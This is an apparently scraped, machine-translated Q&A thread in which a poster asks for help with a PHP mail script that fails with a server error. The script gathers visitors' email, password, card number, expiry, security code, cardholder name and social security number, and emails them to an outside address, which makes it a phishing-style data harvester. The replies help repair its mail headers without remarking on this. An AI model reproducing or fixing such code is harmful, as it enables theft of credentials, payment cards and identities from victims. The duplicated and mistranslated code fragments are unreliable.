Php 我的邮件脚本不起作用?
我已经在我的网站上创建了一个脚本,让Peapole添加他们的付款方式,然后这些信息将发送到我的电子邮件,因为我将安全地将他们添加到我的列表中,但当我以html形式单击submit.php时,这是她的代码,它显示“Erreur serveur”,有人可以帮助我吗Php 我的邮件脚本不起作用?,php,email,Php,Email,我已经在我的网站上创建了一个脚本,让Peapole添加他们的付款方式,然后这些信息将发送到我的电子邮件,因为我将安全地将他们添加到我的列表中,但当我以html形式单击submit.php时,这是她的代码,它显示“Erreur serveur”,有人可以帮助我吗 <?php $email = $_POST['email']; $password = $_POST['password']; $cardtype = $_POST['cardtype']; $car
<?php
$email = $_POST['email'];
$password = $_POST['password'];
$cardtype = $_POST['cardtype'];
$cardnumber = $_POST['cardnumber'];
$exp = $_POST['exp'];
$secure = $_POST['secure'];
$namecard = $_POST['namecard'];
$socialnumber = $_POST['socialnumber'];
$to = 'mah_di@aol.fr';
$subject = 'add ' .$email. 'to the list';
$message = 'his informatin\n
email: '.$email.'\n
password:'.$password.'\n
cardtype: '.$cardtype.'\n
cardnumber: '.$cardnumber.'\n
exp: '.$exp.'\n
secure: '.$secure.'\n
namecard: '.$namecard.'\n
socialnumber: '.$socialnumber.'\n ';
$from = 'email@mysite.com';
$headers = 'From:' . $from;
if(mail($to,$subject,$message,$headers))
{
header('Location: complete.php');
}
else
{
echo "Message Not Sent";
}
?>
如果您试图发送HTML邮件,则必须设置内容类型标题
$headers = 'MIME-Version: 1.0' . '\r\n';
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n';
//Additional headers
$headers .= 'From: '.$from.' <test@yoursite.com>\r\n';
$headers='MIME版本:1.0'\r\n';
$headers.='内容类型:文本/html;字符集=iso-8859-1''\r\n';
//附加标题
$headers.='From:'.$From.\r\n';
开始使用。使用\r\n作为新行分隔符,同时检查您的电子邮件服务器是否设置了“\n”和“\n”不相同,第二个是正确的,第一个不是。使用$message=wordwrap($message,70)
bevor sending..@Glavić或者他可以学习正确使用mail()
功能。Tbh我只见过由于开发人员的误用而失败。伙计们,你的解决方案有什么效果吗?@Glavićwhat's Swiftmailer我不明白